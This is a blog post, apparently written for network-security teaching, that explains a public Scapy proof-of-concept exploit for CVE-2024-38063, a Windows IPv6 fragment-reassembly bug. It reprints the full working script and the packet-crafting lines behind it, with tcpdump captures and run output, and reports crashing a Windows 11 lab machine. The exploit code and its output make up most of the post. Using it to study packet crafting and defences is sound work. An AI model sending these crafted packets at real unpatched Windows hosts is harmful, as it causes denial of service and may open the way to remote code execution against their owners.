First up, this post is significantly influenced by Miloš ynwarcs script for the above vulnerability. My objective here is to simplify the understanding of what the script is doing. If you intend to follow along, see: https://github.com/ynwarcs/CVE-2024-38063/tree/main for the original script.
In the SANS SEC503, we use Scapy a lot for instructing on packet crafting as well as doing lots of demos to reinforce topics around packets. We also spend some time talking about IPv6. As a result, I thought putting together a quick blog post explaining ynwarcs script would be a good way for someone to learn a bit about IPv6, as well as packet crafting, both at the same time.
Microsoft's FAQ states "An unauthenticated attacker could repeatedly send IPv6 packets, that include specially crafted packets, to a Windows machine which could enable remote code execution."
The vulnerability above affects various versions of Windows and seems to be associated with an integer underflow. More specifically it has to do with the way Windows handles IPv6 extension headers. Even more specifically, in this case, how Windows handles IPv6 reassembly via the reassembly header.
I first tried targeting Windows 10 using the script from ynwarcs GitHub repo, the system did not crash. Here is the system configuration.
Host Name: SEC504STUDENT OS Name: Microsoft Windows 10 Enterprise OS Version: 10.0.19044 N/A Build 19044 OS Manufacturer: Microsoft Corporation OS Configuration: Standalone Workstation OS Build Type: Multiprocessor Free Registered Owner: Windows User Registered Organization: Product ID: 00329-10186-30720-AA281 Original Install Date: 5/3/2022, 11:35:25 PM System Boot Time: 9/20/2024, 4:28:04 AM System Manufacturer: VMware, Inc. System Model: VMware Virtual Platform System Type: x64-based PC Processor(s): 2 Processor(s) Installed.
We can also see the IPv6 fragmented packets coming in and reassembly required.
C:\windows\system32>netsh interface ipv6 show ipstats MIB-II IP Statistics ------------------------------------------------------ Forwarding is: Disabled Default TTL: 128 In Receives: 46073 In Header Errors: 9592 In Address Errors: 16317 Datagrams Forwarded: 0 In Unknown Protocol: 0 In Discarded: 0 In Delivered: 30318 Out Requests: 1019 Routing Discards: 0 Out Discards: 8 Out No Routes: 0 Reassembly Timeout: 60 Reassembly Required: 19110 Reassembled Ok: 0 Reassembly Failures: 0 Fragments Ok: 0 Fragments Failed: 0 Fragments Created: 0
What is surprising is that there is 0 "Reassembly Failures" and the system did not crash.
However, when I ran the script against Windows 11, the system crashed, resulting in a DoS.
C:\Users\securitynik>systeminfo | more Host Name: SECURITYNIK-WIN OS Name: Microsoft Windows 11 Pro OS Version: 10.0.22621 N/A Build 22621 OS Manufacturer: Microsoft Corporation OS Configuration: Member Workstation OS Build Type: Multiprocessor Free Registered Owner: securitynik Registered Organization: Product ID: 00330-80000-00000-AA490 Original Install Date: 7/11/2023, 11:48:41 PM System Boot Time: 9/20/2024, 10:10:53 AM System Manufacturer: VMware, Inc. System Model: VMware20,1 System Type: x64-based PC Processor(s): 2 Processor(s) Installed.
Now, time to understand what the packet crafting within the script is doing.
The script is first importing the Scapy functions via:
from scapy.all import *
Next up, it is looking for some configuration information:
iface='' ip_addr='' mac_addr='' num_tries=20 num_batches=20
I set mine to the Windows 11 host configuration.
C:\Users\securitynik>ipconfig /all | more Ethernet adapter Ethernet0: Connection-specific DNS Suffix . : securitynik.local Description . . . . . . . . . . . : Intel(R) 82574L Gigabit Network Connection Physical Address. . . . . . . . . : 00-0C-29-40-04-91 DHCP Enabled. . . . . . . . . . . : No Autoconfiguration Enabled . . . . : Yes Site-local IPv6 Address . . . . . : fec0::6%1(Preferred) Link-local IPv6 Address . . . . . : fe80::ffae:463c:5b03:ed01%12(Preferred) IPv4 Address. . . . . . . . . . . : 10.0.0.108(Preferred) Subnet Mask . . . . . . . . . . . : 255.255.255.0 Default Gateway . . . . . . . . . :
This represents the script initial configuration for my scenario.
iface='eth0' # <- This is the IP address of the attacking machine. In my case Kali Linux ip_addr='fec0::6' # <- The Windows 11 target, IPv6 address mac_addr='00:0C:29:40:04:91' # <- The MAC Address of the Windows 11 target host. Note the change in format from "-" to ":" num_tries=20 num_batches=20
With the configuration out of the way, what is the function "get_packets_with_mac(i)" doing? Well upon closer look it seems it is doing basically the same thing as "get_packets(i)". The key difference seems to be that "get_packets_with_mac(i)" function is using the Ethernet header and setting the destination MAC via "Ether(dst=mac_addr)". "get_packets(i)" does not have this but it looks like everything else is basically the same.
Updating my configuration.
iface='eth0' # <- This is the IP address of the attacking machine. In my case Kali Klinux ip_addr='fec0::6' # <- The Windows 11 target, IPv6 address mac_addr='' # Leaving this empty this time around num_tries=20 num_batches=20
Looking at the key part of the code which is the "get_packets(i)" function.
frag_id = 0xdebac1e + i
The "get_packets(i)" function takes a parameter "i", this I is coming from a for loop. Which means the "frag_id" is being incremented based on the number of tries. The fragment ID should be the same for all fragments within a "fragment train". This means that each of these fragments will be seen as a new fragment instead.
For example, if I set "num_batches" and "num_tries" above to 1, here is the output.
┌──(kali㉿securitynik)-[/tmp] └─$ sudo python ./ipv6.py Get packets frag_id: 233548830 batch id: 0 Get packets frag_id: 233548830 batch id: 0 Sending packets ...... Sent 6 packets. Memory corruption will be triggered in 51 seconds
Whereas, if I keep "num_tries" at 1 and change "num_batches" to 3, we see the fragment ID remains the same:
┌──(kali㉿securitynik)-[/tmp] └─$ sudo python ./ipv6.py Get packets frag_id: 233548830 batch id: 0 try: 0 Get packets frag_id: 233548830 batch id: 0 try: 0 Get packets frag_id: 233548830 batch id: 0 try: 0 Get packets frag_id: 233548830 batch id: 0 try: 0 Get packets frag_id: 233548830 batch id: 0 try: 0 Get packets frag_id: 233548830 batch id: 0 try: 0 Sending packets .................. Sent 18 packets. Memory corruption will be triggered in 51 seconds
If I set the "num_tries" to 3 and keep "num_batches" at 1, we see the change:
┌──(kali㉿securitynik)-[/tmp] └─$ sudo python ./ipv6.py Get packets frag_id: 233548830 batch id: 0 try: 0 Get packets frag_id: 233548830 batch id: 0 try: 0 Get packets frag_id: 233548831 batch id: 1 try: 1 Get packets frag_id: 233548831 batch id: 1 try: 1 Get packets frag_id: 233548832 batch id: 2 try: 2 Get packets frag_id: 233548832 batch id: 2 try: 2 Sending packets .................. Sent 18 packets. Memory corruption will be triggered in 51 seconds
Now that we know the fragment ID is increasing with each try, time to dig into the rest of the code.
Looking at the 3 main lines:
first = IPv6(fl=1, hlim=64+i, dst=ip_addr) / IPv6ExtHdrDestOpt(options=[PadN(otype=0x81, optdata='a'*3)]) second = IPv6(fl=1, hlim=64+i, dst=ip_addr) / IPv6ExtHdrFragment(id=frag_id, m = 1, offset = 0) / 'aaaaaaaa' third = IPv6(fl=1, hlim=64+i, dst=ip_addr) / IPv6ExtHdrFragment(id=frag_id, m = 0, offset = 1)
Sending each line one at a time starting with the first. Notice I dropped the variables in the case of "64+i" and "ip_addr".
>>> send(IPv6(fl=1, hlim=64, dst='fec0::6') / IPv6ExtHdrDestOpt(options=[PadN(otype=0x81, optdata='a'*3)])) . Sent 1 packets.
So what is going on with that packet? Let's take a look at the IPv6 header first.
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ |Version| Traffic Class | Flow Label | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Payload Length | Next Header | Hop Limit | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | | + + | | + Source Address + | | + + | | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | | + + | | + Destination Address + | | + + | | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Next Header | Hdr Ext Len | | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ + | | . . . Options . . . | | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
┌──(kali㉿securitynik)-[~] └─$ sudo tcpdump -nnt --interface eth0 "host fec0::6" -X tcpdump: verbose output suppressed, use -v[v]... for full protocol decode listening on eth0, link-type EN10MB (Ethernet), snapshot length 262144 bytes IP6 fec0::2 > fec0::6: DSTOPT no next header 0x0000: 6000 0001 0008 3c40 fec0 0000 0000 0000 `.....<@........ 0x0010: 0000 0000 0000 0002 fec0 0000 0000 0000 ................ 0x0020: 0000 0000 0000 0006 3b00 8103 6161 6100 ........;...aaa. IP6 fec0::6 > fec0::2: ICMP6, parameter problem, option - octet 42, length 56 0x0000: 6000 0000 0038 3a80 fec0 0000 0000 0000 `....8:......... 0x0010: 0000 0000 0000 0006 fec0 0000 0000 0000 ................ 0x0020: 0000 0000 0000 0002 0402 e59e 0000 002a ...............* 0x0030: 6000 0001 0008 3c40 fec0 0000 0000 0000 `.....<@........ 0x0040: 0000 0000 0000 0002 fec0 0000 0000 0000 ................ 0x0050: 0000 0000 0000 0006 3b00 8103 6161 6100 ........;...aaa.
second = IPv6(fl=1, hlim=64+i, dst=ip_addr) / IPv6ExtHdrFragment(id=frag_id, m = 1, offset = 0) / 'aaaaaaaa'
>>> send(IPv6(fl=1, hlim=64, dst='fec0::6') / IPv6ExtHdrFragment(id=0xdebac1e, m = 1, offset = 0) / 'aaaaaaaa') . Sent 1 packets.
┌──(kali㉿securitynik)-[~] └─$ sudo tcpdump -nnt --interface eth0 "host fec0::6" -X tcpdump: verbose output suppressed, use -v[v]... for full protocol decode listening on eth0, link-type EN10MB (Ethernet), snapshot length 262144 bytes IP6 fec0::2 > fec0::6: frag (0|8) no next header 0x0000: 6000 0001 0010 2c40 fec0 0000 0000 0000 `.....,@........ 0x0010: 0000 0000 0000 0002 fec0 0000 0000 0000 ................ 0x0020: 0000 0000 0000 0006 3b00 0001 0deb ac1e ........;....... 0x0030: 6161 6161 6161 6161 aaaaaaaa
Note, if you are struggling to understand fragmentation in general, see this post I did a back in 2018, for a simplified walkthrough: https://www.securitynik.com/2018/07/understanding-ip-fragmentation.html
Let's prepare to wrap this up by looking at the "third" packet:
third = IPv6(fl=1, hlim=64+i, dst=ip_addr) / IPv6ExtHdrFragment(id=frag_id, m = 0, offset = 1)
>>> send(IPv6(fl=1, hlim=64, dst='fec0::6') / IPv6ExtHdrFragment(id=0xdebac1e, m = 0, offset = 1)) . Sent 1 packets.
The only items that need attention here is "m=0" and "offset=1". Let's break this down.
In the previous example of "IPv6ExtHdrFragment", we had "m=1". We also stated that this means more fragments were coming beyond this (in this case the previous fragment) header. With "m=0" this means there are no more fragments coming beyond this current one.
At the same time "offset=0" in the previous example now jumps to "offset=1". Here is a catch for some of you. In the previous fragment, we sent 8 bytes "aaaaaaaa". However, in this case, we are saying the offset is 1. Wouldn't this overwrite one of the "a" in "aaaaaaaa"? Well the answer is no and here is why.
The fragment offset is represented as a 13-bit field within a 16-bit field. With the high order 16 bits representing the "Fragment Offset", we have the low order bit representing the "M flag". This is what was set above to "m=1" and "m=0" respectively. Finally, we have a 2 bit field (00) "Res" which is reserved.
But still, why no overwriting?! Well, the "Payload Length" field is 16 bits. Meaning we have 2**16 or 65536 bytes available to us. It represents everything beyond the IPv6 header including the extensions. However, the "Fragment Offset" only represents 13 bits. Hence if we do 2**13, we get 8192. As we can see, this does not equate to our 65536. However, if we multiply 8192*8, we get 65536 which gets us back to size of the "Payload Length". So when we see the above "offset=1", we need to multiply the offset value by 8. Hence our actual offset is 8 in decimal. Thus, this fragment falls directly at the end of sequence of the 8 "a". Keep in kind also, when counting offsets, we count from 0. So, 8 bytes goes from 0-7. Hence the final fragment at offset 8 sits directly after this one.
Also something else to consider, we sent only 16 bytes of payload in the first fragment. 8 of these represent the "Fragment Header" and the other 8 bytes represent the sequence of 8 "a" for 8 bytes. The second fragment we sent no data but there is an 8 byte "Fragment Header". In total, we sent 24 bytes. This is wayyyyyyyyyyyyy below any normal MTU and on a normal day would not require fragmentation.
What does the final packet look like on the wire:
┌──(kali㉿securitynik)-[~] └─$ sudo tcpdump -nnt --interface eth0 "host fec0::6" -X tcpdump: verbose output suppressed, use -v[v]... for full protocol decode listening on eth0, link-type EN10MB (Ethernet), snapshot length 262144 bytes IP6 fec0::2 > fec0::6: frag (8|0) 0x0000: 6000 0001 0008 2c40 fec0 0000 0000 0000 `.....,@........ 0x0010: 0000 0000 0000 0002 fec0 0000 0000 0000 ................ 0x0020: 0000 0000 0000 0006 3b00 0008 0deb ac1e ........;.......
With core understanding of what ynwarcs's script does, I am just removing some items for simpicity of visualization in this case. Please refer to the original code for full guidance.
from scapy.all import * iface='eth0' ip_addr='fec0::6' num_tries=20 num_batches=20 def get_packets(i): frag_id = 0xdebac1e + i print(f'Get packets frag_id: {frag_id} \t batch id: {i} \t try: {i}') first = IPv6(fl=1, hlim=64+i, dst=ip_addr) / IPv6ExtHdrDestOpt(options=[PadN(otype=0x81, optdata='a'*3)]) second = IPv6(fl=1, hlim=64+i, dst=ip_addr) / IPv6ExtHdrFragment(id=frag_id, m = 1, offset = 0) / 'aaaaaaaa' third = IPv6(fl=1, hlim=64+i, dst=ip_addr) / IPv6ExtHdrFragment(id=frag_id, m = 0, offset = 1) return [first, second, third] final_ps = [] for _ in range(num_batches): for i in range(num_tries): final_ps += get_packets(i) + get_packets(i) print("Sending packets") send(final_ps, iface) for i in range(60): print(f"Memory corruption will be triggered in {60-i} seconds", end='\r') time.sleep(1) print("")
C:\Users\securitynik>netsh interface ipv6 show ipstats MIB-II IP Statistics ------------------------------------------------------ Forwarding is: Disabled Default TTL: 128 In Receives: 0 In Header Errors: 0 In Address Errors: 0 Datagrams Forwarded: 0 In Unknown Protocol: 0 In Discarded: 0 In Delivered: 43 Out Requests: 74 Routing Discards: 0 Out Discards: 0 Out No Routes: 0 Reassembly Timeout: 60 Reassembly Required: 0 Reassembled Ok: 0 Reassembly Failures: 0 Fragments Ok: 0 Fragments Failed: 0 Fragments Created: 0
┌──(kali㉿securitynik)-[/tmp] └─$ sudo python ./ipv6.py Get packets frag_id: 233548830 batch id: 0 try: 0 Get packets frag_id: 233548830 batch id: 0 try: 0 Get packets frag_id: 233548831 batch id: 1 try: 1 ... Sent 2400 packets. Memory corruption will be triggered in 1 seconds
C:\Users\securitynik>netsh interface ipv6 show ipstats MIB-II IP Statistics ------------------------------------------------------ Forwarding is: Disabled Default TTL: 128 In Receives: 2426 In Header Errors: 0 In Address Errors: 0 Datagrams Forwarded: 0 In Unknown Protocol: 0 In Discarded: 0 In Delivered: 2469 Out Requests: 902 Routing Discards: 0 Out Discards: 0 Out No Routes: 0 Reassembly Timeout: 60 Reassembly Required: 1598 Reassembled Ok: 0 Reassembly Failures: 0 Fragments Ok: 0 Fragments Failed: 0 Fragments Created: 0
No comments:
Post a Comment